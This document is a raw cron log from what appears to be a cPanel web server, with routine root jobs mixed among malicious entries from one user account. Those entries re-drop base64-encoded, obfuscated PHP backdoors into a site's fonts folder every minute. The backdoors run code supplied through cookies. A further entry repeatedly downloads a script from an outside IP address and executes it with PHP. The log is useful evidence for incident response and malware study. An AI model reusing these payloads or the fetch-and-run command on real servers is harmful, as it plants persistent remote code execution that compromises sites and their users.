Sep  5 18:14:01 ip-184-168-122-23 CROND[30091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:15:01 ip-184-168-122-23 CROND[30195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:15:01 ip-184-168-122-23 CROND[30191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:15:01 ip-184-168-122-23 CROND[30194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:15:01 ip-184-168-122-23 CROND[30193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:15:01 ip-184-168-122-23 CROND[30196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:15:01 ip-184-168-122-23 CROND[30192]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 18:15:01 ip-184-168-122-23 CROND[30197]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 18:15:01 ip-184-168-122-23 CROND[30198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:16:02 ip-184-168-122-23 CROND[30331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:16:02 ip-184-168-122-23 CROND[30329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:16:02 ip-184-168-122-23 CROND[30330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:16:02 ip-184-168-122-23 CROND[30332]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:16:02 ip-184-168-122-23 CROND[30335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:16:02 ip-184-168-122-23 CROND[30333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:17:01 ip-184-168-122-23 CROND[30549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:17:01 ip-184-168-122-23 CROND[30551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:17:01 ip-184-168-122-23 CROND[30552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:17:01 ip-184-168-122-23 CROND[30553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:18:01 ip-184-168-122-23 CROND[30631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:18:01 ip-184-168-122-23 CROND[30629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:18:01 ip-184-168-122-23 CROND[30630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:18:01 ip-184-168-122-23 CROND[30632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:18:01 ip-184-168-122-23 CROND[30633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:19:02 ip-184-168-122-23 CROND[30733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:19:02 ip-184-168-122-23 CROND[30732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:19:02 ip-184-168-122-23 CROND[30734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:19:02 ip-184-168-122-23 CROND[30735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:20:01 ip-184-168-122-23 CROND[30823]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:20:01 ip-184-168-122-23 CROND[30824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:20:01 ip-184-168-122-23 CROND[30822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:20:01 ip-184-168-122-23 CROND[30825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:20:01 ip-184-168-122-23 CROND[30826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:20:01 ip-184-168-122-23 CROND[30830]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:20:01 ip-184-168-122-23 CROND[30827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:20:01 ip-184-168-122-23 CROND[30828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:20:01 ip-184-168-122-23 CROND[30829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:21:01 ip-184-168-122-23 CROND[30924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:21:01 ip-184-168-122-23 CROND[30925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:21:01 ip-184-168-122-23 CROND[30927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:21:01 ip-184-168-122-23 CROND[30929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:22:01 ip-184-168-122-23 CROND[31027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:22:01 ip-184-168-122-23 CROND[31028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:22:01 ip-184-168-122-23 CROND[31029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:22:01 ip-184-168-122-23 CROND[31026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:22:01 ip-184-168-122-23 CROND[31025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:23:02 ip-184-168-122-23 CROND[31204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:23:02 ip-184-168-122-23 CROND[31206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:23:02 ip-184-168-122-23 CROND[31207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:23:02 ip-184-168-122-23 CROND[31209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:24:01 ip-184-168-122-23 CROND[31289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:24:01 ip-184-168-122-23 CROND[31292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:24:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:24:01 ip-184-168-122-23 CROND[31293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:24:01 ip-184-168-122-23 CROND[31294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:25:02 ip-184-168-122-23 CROND[31389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:25:02 ip-184-168-122-23 CROND[31390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:25:02 ip-184-168-122-23 CROND[31391]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 18:25:02 ip-184-168-122-23 CROND[31395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:25:02 ip-184-168-122-23 CROND[31397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:25:02 ip-184-168-122-23 CROND[31393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:25:02 ip-184-168-122-23 CROND[31396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:26:01 ip-184-168-122-23 CROND[31483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:26:01 ip-184-168-122-23 CROND[31487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:26:01 ip-184-168-122-23 CROND[31484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
